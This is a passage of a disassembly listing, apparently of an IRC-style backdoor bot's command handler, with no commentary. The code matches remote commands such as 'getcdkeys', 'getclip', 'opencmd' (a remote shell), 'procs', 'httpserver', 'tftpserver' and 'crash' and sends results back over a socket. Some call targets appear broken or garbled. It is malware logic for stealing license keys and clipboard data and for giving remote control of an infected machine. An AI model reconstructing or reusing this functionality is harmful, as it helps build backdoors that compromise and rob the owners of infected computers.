		call	sub_40B00F
		add	esp, 14h
		push	offset dword_442840
		call	sub_4173DC
		pop	ecx
		mov	eax, [ebp+arg_24]
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_404DF6:				; CODE XREF: sub_4021E5+2BD1j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aRemove	; "remove"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_404E30
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aRm	; "rm"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_404E70


loc_404E30:				; CODE XREF: sub_4021E5+2C2Cj
		cmp	[ebp+var_4], 0
		jnz	short loc_404E54
		push	0
		push	[ebp+var_85C]
		push	offset dword_442868
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40B00F
		add	esp, 14h


loc_404E54:				; CODE XREF: sub_4021E5+2C4Fj
		push	[ebp+arg_4]
		call	dword_4E1798	; closesocket
		call	dword_4E1658	; WSACleanup
		call	sub_41A907
		push	0
		nop
		call	near ptr 7C81CDDAh


loc_404E70:				; CODE XREF: sub_4021E5+2C49j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aProcs	; "procs"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_404EAE
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aPs	; "ps"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_405010


loc_404EAE:				; CODE XREF: sub_4021E5+2CA6j
		push	27h
		call	sub_40D6D9
		pop	ecx
		test	eax, eax
		jle	short loc_404EE3
		cmp	[ebp+var_4], 0
		jnz	short loc_404EDE
		push	0
		push	[ebp+var_85C]
		push	offset unk_442890
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40B00F
		add	esp, 14h


loc_404EDE:				; CODE XREF: sub_4021E5+2CD9j
		jmp	loc_405008
; ---------------------------------------------------------------------------


loc_404EE3:				; CODE XREF: sub_4021E5+2CD3j
		push	[ebp+var_98]
		push	80h
		lea	eax, [ebp+var_FE4]
		push	eax
		call	sub_421B90
		add	esp, 0Ch
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_FE8], eax
		mov	eax, [ebp+var_85C]
		mov	[ebp+var_F5C], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_F58], eax
		and	[ebp+var_F60], 0
		mov	eax, [ebp+var_BC]
		cmp	[ebp+eax*4+var_9C], 0
		jz	short loc_404F59
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		push	offset aFull	; "full"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_404F59
		mov	[ebp+var_F60], 1


loc_404F59:				; CODE XREF: sub_4021E5+2D4Bj
					; sub_4021E5+2D68j
		push	offset dword_4428B8
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx
		push	0
		push	27h
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_40D32A
		add	esp, 0Ch
		mov	[ebp+var_F64], eax
		lea	eax, [ebp+var_868]
		push	eax
		push	0
		lea	eax, [ebp+var_FE8]
		push	eax
		push	offset sub_41D094
		push	0
		push	0
		nop
		call	near ptr 27B05E2h
		mov	ecx, [ebp+var_F64]
		imul	ecx, 234h
		mov	dword_45462C[ecx], eax
		mov	eax, [ebp+var_F64]
		imul	eax, 234h
		cmp	dword_45462C[eax], 0
		jz	short loc_404FE0


loc_404FCB:				; CODE XREF: sub_4021E5+2DF7j
		cmp	[ebp+var_F54], 0
		jnz	short loc_404FDE
		push	32h
		nop
		call	near ptr 27B048Ah
		jmp	short loc_404FCB
; ---------------------------------------------------------------------------


loc_404FDE:				; CODE XREF: sub_4021E5+2DEDj
		jmp	short loc_404FFB
; ---------------------------------------------------------------------------


loc_404FE0:				; CODE XREF: sub_4021E5+2DE4j
		nop
		call	near ptr 27B0F7Fh
		push	eax
		push	offset unk_4428D4
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch


loc_404FFB:				; CODE XREF: sub_4021E5:loc_404FDEj
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4173DC
		pop	ecx


loc_405008:				; CODE XREF: sub_4021E5:loc_404EDEj
		push	1
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_405010:				; CODE XREF: sub_4021E5+2CC3j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aGetcdkeys ; "getcdkeys"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_40504A
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aKey	; "key"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4050AF


loc_40504A:				; CODE XREF: sub_4021E5+2E46j
		push	[ebp+var_85C]
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_4181FB
		add	esp, 0Ch
		push	offset dword_442920
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx
		cmp	[ebp+var_4], 0
		jnz	short loc_40509A
		push	0
		push	[ebp+var_85C]
		lea	eax, [ebp+var_858]
		push	eax
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40B00F
		add	esp, 14h


loc_40509A:				; CODE XREF: sub_4021E5+2E93j
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4173DC
		pop	ecx
		push	1
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_4050AF:				; CODE XREF: sub_4021E5+2E63j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aUptime	; "uptime"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_4050ED
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aUp	; "up"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_4051A4


loc_4050ED:				; CODE XREF: sub_4021E5+2EE5j
		or	[ebp+var_FEC], 0FFFFFFFFh
		nop
		call	near ptr 27D079Eh
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	[ebp+var_FF0], eax
		mov	eax, [ebp+var_BC]
		cmp	[ebp+eax*4+var_9C], 0
		jz	short loc_405132
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		call	sub_421670
		pop	ecx
		mov	[ebp+var_FEC], eax


loc_405132:				; CODE XREF: sub_4021E5+2F32j
		mov	eax, [ebp+var_FF0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, [ebp+var_FEC]
		jnb	short loc_405152
		cmp	[ebp+var_FEC], 0FFFFFFFFh
		jnz	short loc_40519C


loc_405152:				; CODE XREF: sub_4021E5+2F62j
		push	0
		call	sub_41E075
		pop	ecx
		push	eax
		push	offset dword_44294C
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch
		push	0
		push	[ebp+var_85C]
		lea	eax, [ebp+var_858]
		push	eax
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40B00F
		add	esp, 14h
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4173DC
		pop	ecx


loc_40519C:				; CODE XREF: sub_4021E5+2F6Bj
		mov	eax, [ebp+arg_24]
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_4051A4:				; CODE XREF: sub_4021E5+2F02j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aDriveinfo ; "driveinfo"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_4051DE
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aDrv	; "drv"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40520A


loc_4051DE:				; CODE XREF: sub_4021E5+2FDAj
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		push	[ebp+var_85C]
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_419A83
		add	esp, 10h
		push	1
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_40520A:				; CODE XREF: sub_4021E5+2FF7j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aTestdlls ; "testdlls"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_405244
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aDll	; "dll"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_405266


loc_405244:				; CODE XREF: sub_4021E5+3040j
		push	[ebp+var_4]
		push	[ebp+var_85C]
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40C219
		add	esp, 10h
		push	1
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_405266:				; CODE XREF: sub_4021E5+305Dj
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aOpencmd	; "opencmd"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_4052A4
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aOcmd	; "ocmd"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_405370


loc_4052A4:				; CODE XREF: sub_4021E5+309Cj
		push	0Ah
		call	sub_40D6D9
		pop	ecx
		test	eax, eax
		jle	short loc_4052F8
		push	offset unk_442994
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx
		cmp	[ebp+var_4], 0
		jnz	short loc_4052E9
		push	0
		push	[ebp+var_85C]
		lea	eax, [ebp+var_858]
		push	eax
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40B00F
		add	esp, 14h


loc_4052E9:				; CODE XREF: sub_4021E5+30E2j
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4173DC
		pop	ecx
		jmp	short loc_405368
; ---------------------------------------------------------------------------


loc_4052F8:				; CODE XREF: sub_4021E5+30C9j
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_41D4E3
		pop	ecx
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_405322
		push	offset unk_4429C0
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx
		jmp	short loc_405335
; ---------------------------------------------------------------------------


loc_405322:				; CODE XREF: sub_4021E5+3126j
		push	offset unk_4429E8
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx


loc_405335:				; CODE XREF: sub_4021E5+313Bj
		cmp	[ebp+var_4], 0
		jnz	short loc_40535B
		push	0
		push	[ebp+var_85C]
		lea	eax, [ebp+var_858]
		push	eax
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40B00F
		add	esp, 14h


loc_40535B:				; CODE XREF: sub_4021E5+3154j
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4173DC
		pop	ecx


loc_405368:				; CODE XREF: sub_4021E5+3111j
		push	1
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_405370:				; CODE XREF: sub_4021E5+30B9j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aCmdstop	; "cmdstop"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4053C8
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		push	0Ah
		push	offset aRemoteShell ; "Remote shell"
		push	offset dword_442A20
		push	[ebp+var_4]
		push	[ebp+var_85C]
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40D75C
		add	esp, 20h
		push	1
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_4053C8:				; CODE XREF: sub_4021E5+31A6j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset dword_442A2C
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_4054B7
		cmp	[ebp+var_4], 0
		jnz	short loc_40540D
		push	0
		push	[ebp+var_85C]
		push	offset dword_442A30
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40B00F
		add	esp, 14h


loc_40540D:				; CODE XREF: sub_4021E5+3208j
		and	[ebp+var_5D8], 0
		jmp	short loc_405423
; ---------------------------------------------------------------------------


loc_405416:				; CODE XREF: sub_4021E5+32BDj
		mov	eax, [ebp+var_5D8]
		inc	eax
		mov	[ebp+var_5D8], eax


loc_405423:				; CODE XREF: sub_4021E5+322Fj
		cmp	[ebp+var_5D8], 3
		jge	short loc_4054A7
		mov	eax, [ebp+var_5D8]
		shl	eax, 7
		mov	ecx, [ebp+arg_18]
		movsx	eax, byte ptr [ecx+eax]
		test	eax, eax
		jz	short loc_405458
		mov	eax, [ebp+var_5D8]
		shl	eax, 7
		mov	ecx, [ebp+arg_18]
		lea	eax, [ecx+eax+1]
		mov	[ebp+var_412C],	eax
		jmp	short loc_405462
; ---------------------------------------------------------------------------


loc_405458:				; CODE XREF: sub_4021E5+3259j
		mov	[ebp+var_412C],	offset dword_442A44


loc_405462:				; CODE XREF: sub_4021E5+3271j
		push	[ebp+var_412C]
		push	[ebp+var_5D8]
		push	offset dword_442A4C
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 10h
		push	1
		push	[ebp+var_85C]
		lea	eax, [ebp+var_858]
		push	eax
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40B00F
		add	esp, 14h
		jmp	loc_405416
; ---------------------------------------------------------------------------


loc_4054A7:				; CODE XREF: sub_4021E5+3245j
		push	offset unk_442A54
		call	sub_4173DC
		pop	ecx
		jmp	loc_4061D7
; ---------------------------------------------------------------------------


loc_4054B7:				; CODE XREF: sub_4021E5+31FEj
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aGetclip	; "getclip"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_4054F1
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aGc	; "gc"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_405547


loc_4054F1:				; CODE XREF: sub_4021E5+32EDj
		cmp	[ebp+var_4], 0
		jnz	short loc_405515
		push	0
		push	[ebp+var_85C]
		push	offset dword_442A84
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40B00F
		add	esp, 14h


loc_405515:				; CODE XREF: sub_4021E5+3310j
		push	0
		push	[ebp+var_85C]
		call	sub_41A677
		push	eax
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40B00F
		add	esp, 14h
		push	offset dword_442A9C
		call	sub_4173DC
		pop	ecx
		mov	eax, [ebp+arg_24]
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_405547:				; CODE XREF: sub_4021E5+330Aj
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aFlusharp ; "flusharp"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_405581
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aFarp	; "farp"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4055F9


loc_405581:				; CODE XREF: sub_4021E5+337Dj
		call	sub_40C6CF
		test	eax, eax
		jz	short loc_4055A5
		push	offset unk_442ACC
		push	200h
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_421B90
		add	esp, 0Ch
		jmp	short loc_4055BE
; ---------------------------------------------------------------------------


loc_4055A5:				; CODE XREF: sub_4021E5+33A3j
		push	offset unk_442AF0
		push	200h
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_421B90
		add	esp, 0Ch


loc_4055BE:				; CODE XREF: sub_4021E5+33BEj
		cmp	[ebp+var_4], 0
		jnz	short loc_4055E4
		push	0
		push	[ebp+var_85C]
		lea	eax, [ebp+var_858]
		push	eax
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40B00F
		add	esp, 14h


loc_4055E4:				; CODE XREF: sub_4021E5+33DDj
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4173DC
		pop	ecx
		mov	eax, [ebp+arg_24]
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_4055F9:				; CODE XREF: sub_4021E5+339Aj
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aFlushdns ; "flushdns"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_405637
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aFdns	; "fdns"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_4056D4


loc_405637:				; CODE XREF: sub_4021E5+342Fj
		cmp	dword_4E161C, 0
		jz	short loc_405680
		call	dword_4E161C	; DnsFlushResolverCache
		test	eax, eax
		jz	short loc_405665
		push	offset unk_442B30
		push	200h
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_421B90
		add	esp, 0Ch
		jmp	short loc_40567E
; ---------------------------------------------------------------------------


loc_405665:				; CODE XREF: sub_4021E5+3463j
		push	offset unk_442B54
		push	200h
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_421B90
		add	esp, 0Ch


loc_40567E:				; CODE XREF: sub_4021E5+347Ej
		jmp	short loc_405699
; ---------------------------------------------------------------------------


loc_405680:				; CODE XREF: sub_4021E5+3459j
		push	offset unk_442B80
		push	200h
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_421B90
		add	esp, 0Ch


loc_405699:				; CODE XREF: sub_4021E5:loc_40567Ej
		cmp	[ebp+var_4], 0
		jnz	short loc_4056BF
		push	0
		push	[ebp+var_85C]
		lea	eax, [ebp+var_858]
		push	eax
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40B00F
		add	esp, 14h


loc_4056BF:				; CODE XREF: sub_4021E5+34B8j
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4173DC
		pop	ecx
		mov	eax, [ebp+arg_24]
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_4056D4:				; CODE XREF: sub_4021E5+344Cj
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aCurrentip ; "currentip"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_40570E
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aCip	; "cip"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_405775


loc_40570E:				; CODE XREF: sub_4021E5+350Aj
		mov	eax, [ebp+var_BC]
		cmp	[ebp+eax*4+var_9C], 0
		jz	short loc_405739
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		call	sub_421670
		pop	ecx
		mov	[ebp+var_FF4], eax
		jmp	short loc_405747
; ---------------------------------------------------------------------------


loc_405739:				; CODE XREF: sub_4021E5+3537j
		push	0Bh
		call	sub_40D71A
		pop	ecx
		mov	[ebp+var_FF4], eax


loc_405747:				; CODE XREF: sub_4021E5+3552j
		cmp	[ebp+var_FF4], 0
		jz	short loc_40576D
		push	[ebp+var_FF4]
		push	[ebp+var_85C]
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40E192
		add	esp, 10h


loc_40576D:				; CODE XREF: sub_4021E5+3569j
		mov	eax, [ebp+arg_24]
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_405775:				; CODE XREF: sub_4021E5+3527j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aHttpserver ; "httpserver"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_4057B3
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aHttp	; "http"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_4059EE


loc_4057B3:				; CODE XREF: sub_4021E5+35ABj
		mov	eax, [ebp+var_BC]
		cmp	[ebp+eax*4+var_9C], 0
		jz	short loc_40580E
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		call	sub_421670
		pop	ecx
		test	eax, eax
		jnz	short loc_4057E7
		mov	eax, dword_44107C
		mov	[ebp+var_4130],	eax
		jmp	short loc_405800
; ---------------------------------------------------------------------------


loc_4057E7:				; CODE XREF: sub_4021E5+35F3j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		call	sub_421670
		pop	ecx
		mov	[ebp+var_4130],	eax


loc_405800:				; CODE XREF: sub_4021E5+3600j
		mov	eax, [ebp+var_4130]
		mov	[ebp+var_4134],	eax
		jmp	short loc_405819
; ---------------------------------------------------------------------------


loc_40580E:				; CODE XREF: sub_4021E5+35DCj
		mov	eax, dword_44107C
		mov	[ebp+var_4134],	eax


loc_405819:				; CODE XREF: sub_4021E5+3627j
		mov	eax, [ebp+var_4134]
		mov	[ebp+var_1014],	eax
		movzx	eax, [ebp+var_370]
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	[ebp+var_1000],	eax
		mov	eax, [ebp+var_BC]
		cmp	[ebp+eax*4+var_98], 0
		jz	short loc_405864
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_98]
		lea	eax, [ebp+var_1118]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx
		jmp	short loc_405892
; ---------------------------------------------------------------------------


loc_405864:				; CODE XREF: sub_4021E5+3660j
		push	104h
		lea	eax, [ebp+var_14A8]
		push	eax
		nop
		call	near ptr 27B0000h
		push	0
		push	0
		push	0
		lea	eax, [ebp+var_14B4]
		push	eax
		lea	eax, [ebp+var_14A8]
		push	eax
		call	sub_421C90
		add	esp, 14h


loc_405892:				; CODE XREF: sub_4021E5+367Dj
		lea	eax, [ebp+var_1118]
		push	eax
		call	sub_41EBD0
		pop	ecx
		movsx	eax, [ebp+eax+var_1119]
		cmp	eax, 5Ch
		jnz	short loc_4058C1
		lea	eax, [ebp+var_1118]
		push	eax
		call	sub_41EBD0
		pop	ecx
		and	[ebp+eax+var_1119], 0


loc_4058C1:				; CODE XREF: sub_4021E5+36C5j
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13A4],	eax
		push	[ebp+var_98]
		push	80h
		lea	eax, [ebp+var_13A0]
		push	eax
		call	sub_421B90
		add	esp, 0Ch
		mov	eax, [ebp+var_85C]
		mov	[ebp+var_1008],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_1004],	eax
		lea	eax, [ebp+var_1118]
		push	eax
		push	[ebp+var_1014]
		push	[ebp+arg_4]
		call	sub_40C86E
		pop	ecx
		push	eax
		push	offset unk_442BD0
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 14h
		push	0
		push	3
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_40D32A
		add	esp, 0Ch
		mov	[ebp+var_100C],	eax
		lea	eax, [ebp+var_868]
		push	eax
		push	0
		lea	eax, [ebp+var_13A4]
		push	eax
		push	offset sub_4144BD
		push	0
		push	0
		call	near ptr 27B05E2h
		nop
		mov	ecx, [ebp+var_100C]
		imul	ecx, 234h
		mov	dword_45462C[ecx], eax
		mov	eax, [ebp+var_100C]
		imul	eax, 234h
		cmp	dword_45462C[eax], 0
		jz	short loc_405998


loc_405983:				; CODE XREF: sub_4021E5+37AFj
		cmp	[ebp+var_FF8], 0
		jnz	short loc_405996
		push	32h
		nop
		call	near ptr 27B048Ah
		jmp	short loc_405983
; ---------------------------------------------------------------------------


loc_405996:				; CODE XREF: sub_4021E5+37A5j
		jmp	short loc_4059B3
; ---------------------------------------------------------------------------


loc_405998:				; CODE XREF: sub_4021E5+379Cj
		nop
		call	near ptr 27B0F7Fh
		push	eax
		push	offset unk_442C0C
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch


loc_4059B3:				; CODE XREF: sub_4021E5:loc_405996j
		cmp	[ebp+var_4], 0
		jnz	short loc_4059D9
		push	0
		push	[ebp+var_85C]
		lea	eax, [ebp+var_858]
		push	eax
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40B00F
		add	esp, 14h


loc_4059D9:				; CODE XREF: sub_4021E5+37D2j
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4173DC
		pop	ecx
		push	1
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_4059EE:				; CODE XREF: sub_4021E5+35C8j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aTftpserver ; "tftpserver"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_405A2C
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aTftp	; "tftp"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	loc_405C1E


loc_405A2C:				; CODE XREF: sub_4021E5+3824j
		push	5
		call	sub_40D6D9
		pop	ecx
		test	eax, eax
		jle	short loc_405A50
		push	offset unk_442C5C
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx
		jmp	loc_405BE3
; ---------------------------------------------------------------------------


loc_405A50:				; CODE XREF: sub_4021E5+3851j
		mov	eax, [ebp+var_BC]
		cmp	[ebp+eax*4+var_9C], 0
		jz	short loc_405A89
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_9C]
		push	104h
		lea	eax, [ebp+var_1754]
		push	eax
		call	sub_421B90
		add	esp, 0Ch
		mov	[ebp+var_4138],	eax
		jmp	short loc_405AA3
; ---------------------------------------------------------------------------


loc_405A89:				; CODE XREF: sub_4021E5+3879j
		push	104h
		lea	eax, [ebp+var_1754]
		push	eax
		push	0
		nop
		call	near ptr 27A0000h
		mov	[ebp+var_4138],	eax


loc_405AA3:				; CODE XREF: sub_4021E5+38A2j
		mov	eax, [ebp+var_BC]
		cmp	[ebp+eax*4+var_98], 0
		jz	short loc_405AC8
		mov	eax, [ebp+var_BC]
		mov	eax, [ebp+eax*4+var_98]
		mov	[ebp+var_413C],	eax
		jmp	short loc_405AD2
; ---------------------------------------------------------------------------


loc_405AC8:				; CODE XREF: sub_4021E5+38CCj
		mov	[ebp+var_413C],	offset byte_4410E8


loc_405AD2:				; CODE XREF: sub_4021E5+38E1j
		push	[ebp+var_413C]
		push	104h
		lea	eax, [ebp+var_1650]
		push	eax
		call	sub_421B90
		add	esp, 0Ch
		mov	eax, dword_441078
		mov	[ebp+var_1544],	eax
		and	[ebp+var_1548],	0
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1758],	eax
		push	7Fh
		push	[ebp+var_98]
		lea	eax, [ebp+var_1540]
		push	eax
		call	sub_421470
		add	esp, 0Ch
		mov	eax, [ebp+var_85C]
		mov	[ebp+var_14C0],	eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_14BC],	eax
		lea	eax, [ebp+var_1754]
		push	eax
		push	[ebp+var_1544]
		push	offset unk_442C7C
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 10h
		push	0
		push	5
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_40D32A
		add	esp, 0Ch
		mov	[ebp+var_154C],	eax
		lea	eax, [ebp+var_868]
		push	eax
		push	0
		lea	eax, [ebp+var_1758]
		push	eax
		push	offset dword_416BD4
		push	0
		push	0
		call	near ptr 27B05E2h
		nop
		mov	ecx, [ebp+var_154C]
		imul	ecx, 234h
		mov	dword_45462C[ecx], eax
		mov	eax, [ebp+var_154C]
		imul	eax, 234h
		cmp	dword_45462C[eax], 0
		jz	short loc_405BC8


loc_405BB3:				; CODE XREF: sub_4021E5+39DFj
		cmp	[ebp+var_14B8],	0
		jnz	short loc_405BC6
		push	32h
		nop
		call	near ptr 27B048Ah
		jmp	short loc_405BB3
; ---------------------------------------------------------------------------


loc_405BC6:				; CODE XREF: sub_4021E5+39D5j
		jmp	short loc_405BE3
; ---------------------------------------------------------------------------


loc_405BC8:				; CODE XREF: sub_4021E5+39CCj
		call	near ptr 27B0F7Fh
		nop
		push	eax
		push	offset unk_442CB0
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		add	esp, 0Ch


loc_405BE3:				; CODE XREF: sub_4021E5+3866j
					; sub_4021E5:loc_405BC6j
		cmp	[ebp+var_4], 0
		jnz	short loc_405C09
		push	0
		push	[ebp+var_85C]
		lea	eax, [ebp+var_858]
		push	eax
		push	[ebp+var_98]
		push	[ebp+arg_4]
		call	sub_40B00F
		add	esp, 14h


loc_405C09:				; CODE XREF: sub_4021E5+3A02j
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4173DC
		pop	ecx
		push	1
		pop	eax
		jmp	loc_40AFBB
; ---------------------------------------------------------------------------


loc_405C1E:				; CODE XREF: sub_4021E5+3841j
		mov	eax, [ebp+var_BC]
		push	[ebp+eax*4+var_A0]
		push	offset aCrash	; "crash"
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_405CA2
		push	offset dword_442CF4
		lea	eax, [ebp+var_858]
		push	eax
		call	sub_4219C0
		pop	ecx
		pop	ecx
